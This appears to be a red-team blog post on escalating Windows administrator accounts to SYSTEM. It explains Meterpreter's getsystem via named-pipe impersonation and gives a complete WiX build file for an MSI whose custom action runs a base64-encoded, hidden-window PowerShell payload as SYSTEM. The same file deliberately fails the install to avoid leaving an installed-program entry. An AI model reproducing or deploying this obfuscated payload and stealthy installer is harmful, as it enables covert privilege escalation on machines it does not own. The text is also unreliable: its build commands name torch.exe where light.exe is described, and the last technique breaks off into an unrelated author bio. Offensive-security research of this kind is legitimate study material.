For many pentesters, Meterpreter’s getsystem
command has become the default method of gaining SYSTEM account privileges, but have you ever have wondered just how this works behind the scenes?
In this post I will show the details of how this technique works, and explore a couple of methods which are not quite as popular, but may help evade detection on those tricky redteam engagements.
Meterpreter’s “getsystem”
Most of you will have used the getsystem
module in Meterpreter before. For those that haven’t, getsystem
is a module offered by the Metasploit-Framework which allows an administrative account to escalate to the local SYSTEM account, usually from local Administrator.
Before continuing we first need to understand a little on how a process can impersonate another user. Impersonation is a useful method provided by Windows in which a process can impersonate another user’s security context. For example, if a process acting as a FTP server allows a user to authenticate and only wants to allow access to files owned by a particular user, the process can impersonate that user account and allow Windows to enforce security.
To facilitate impersonation, Windows exposes numerous native API’s to developers, for example:
- ImpersonateNamedPipeClient
- ImpersonateLoggedOnUser
- ReturnToSelf
- LogonUser
- OpenProcessToken
Of these, the ImpersonateNamedPipeClient
API call is key to the getsystem
module’s functionality, and takes credit for how it achieves its privilege escalation. This API call allows a process to impersonate the access token of another process which connects to a named pipe and performs a write of data to that pipe (that last requirement is important ;). For example, if a process belonging to “victim” connects and writes to a named pipe belonging to “attacker”, the attacker can call ImpersonateNamedPipeClient
to retrieve an impersonation token belonging to “victim”, and therefore impersonate this user. Obviously, this opens up a huge security hole, and for this reason a process must hold the SeImpersonatePrivilege
privilege.
This privilege is by default only available to a number of high privileged users:
This does however mean that a local Administrator account can use ImpersonateNamedPipeClient
, which is exactly how getsystem
works:
getsystem
creates a new Windows service, set to run as SYSTEM, which when started connects to a named pipe.getsystem
spawns a process, which creates a named pipe and awaits a connection from the service.- The Windows service is started, causing a connection to be made to the named pipe.
- The process receives the connection, and calls
ImpersonateNamedPipeClient
, resulting in an impersonation token being created for the SYSTEM user.
All that is left to do is to spawn cmd.exe with the newly gathered SYSTEM impersonation token, and we have a SYSTEM privileged process.
To show how this can be achieved outside of the Meterpreter-Framework, I’ve previously released a simple tool which will spawn a SYSTEM shell when executed. This tool follows the same steps as above, and can be found on my github account here.
To see how this works when executed, a demo can be found below:
Now that we have an idea just how getsystem
works, let’s look at a few alternative methods which can allow you to grab SYSTEM.
MSIExec method
For anyone unlucky enough to follow me on Twitter, you may have seen my recent tweet about using a .MSI package to spawn a SYSTEM process:
This came about after a bit of research into the DOQU 2.0 malware I was doing, in which this APT actor was delivering malware packaged within a MSI file.
It turns out that a benefit of launching your code via an MSI are the SYSTEM privileges that you gain during the install process. To understand how this works, we need to look at WIX Toolset, which is an open source project used to create MSI files from XML build scripts.
The WIX Framework is made up of several tools, but the two that we will focus on are:
- candle.exe – Takes a .WIX XML file and outputs a .WIXOBJ
- light.exe – Takes a .WIXOBJ and creates a .MSI
Reviewing the documentation for WIX, we see that custom actions
are provided, which give the developer a way to launch scripts and processes during the install process. Within the CustomAction documentation, we see something interesting:
This documents a simple way in which a MSI can be used to launch processes as SYSTEM, by providing a custom action with an Impersonate
attribute set to false
.
When crafted, our WIX file will look like this:
<?xml version=”1.0″?> | |
<Wix xmlns=”https://schemas.microsoft.com/wix/2006/wi”> | |
<Product Id=”*” UpgradeCode=”12345678-1234-1234-1234-111111111111″ Name=”Example Product Name” Version=”0.0.1″ Manufacturer=”@_xpn_” Language=”1033″> | |
<Package InstallerVersion=”200″ Compressed=”yes” Comments=”Windows Installer Package”/> | |
<Media Id=”1″ Cabinet=”product.cab” EmbedCab=”yes”/> | |
<Directory Id=”TARGETDIR” Name=”SourceDir”> | |
<Directory Id=”ProgramFilesFolder”> | |
<Directory Id=”INSTALLLOCATION” Name=”Example”> | |
<Component Id=”ApplicationFiles” Guid=”12345678-1234-1234-1234-222222222222″> | |
<File Id=”ApplicationFile1″ Source=”example.exe”/> | |
</Component> | |
</Directory> | |
</Directory> | |
</Directory> | |
<Feature Id=”DefaultFeature” Level=”1″> | |
<ComponentRef Id=”ApplicationFiles”/> | |
</Feature> | |
<Property Id=”cmdline”>powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbw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AcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7ACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA | |
</Property> | |
<CustomAction Id=”SystemShell” Execute=”deferred” Directory=”TARGETDIR” ExeCommand='[cmdline]’ Return=”ignore” Impersonate=”no”/> | |
<CustomAction Id=”FailInstall” Execute=”deferred” Script=”vbscript” Return=”check”> | |
invalid vbs to fail install | |
</CustomAction> | |
<InstallExecuteSequence> | |
<Custom Action=”SystemShell” After=”InstallInitialize”></Custom> | |
<Custom Action=”FailInstall” Before=”InstallFiles”></Custom> | |
</InstallExecuteSequence> | |
</Product> | |
</Wix> |
A lot of this is just boilerplate to generate a MSI, however the parts to note are our custom actions:
<Property Id="cmdline">powershell...</Property>
<CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>
This custom action is responsible for executing our provided cmdline
as SYSTEM (note the Property
tag, which is a nice way to get around the length limitation of the ExeCommand
attribute for long Powershell commands).
Another trick which is useful is to ensure that the install fails after our command is executed, which will stop the installer from adding a new entry to “Add or Remove Programs” which is shown here by executing invalid VBScript:
<CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check">
invalid vbs to fail install
</CustomAction>
Finally, we have our InstallExecuteSequence
tag, which is responsible for executing our custom actions in order:
<InstallExecuteSequence>
<Custom Action="SystemShell" After="InstallInitialize"></Custom>
<Custom Action="FailInstall" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
So, when executed:
- Our first custom action will be launched, forcing our payload to run as the SYSTEM account.
- Our second custom action will be launched, causing some invalid VBScript to be executed and stop the install process with an error.
To compile this into a MSI we save the above contents as a file called “msigen.wix”, and use the following commands:
candle.exe msigen.wix
torch.exe msigen.wixobj
Finally, execute the MSI file to execute our payload as SYSTEM:
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS method
This method of becoming SYSTEM was actually revealed to me via a post from James Forshaw’s walkthrough of how to become “Trusted Installer”.
Again, if you listen to my ramblings on Twitter, I recently mentioned this technique a few weeks back:
Working as a cyber security solutions architect, Alisa focuses on application and network security. Before joining us she held a cyber security researcher positions within a variety of cyber security start-ups. She also experience in different industry domains like finance, healthcare and consumer products.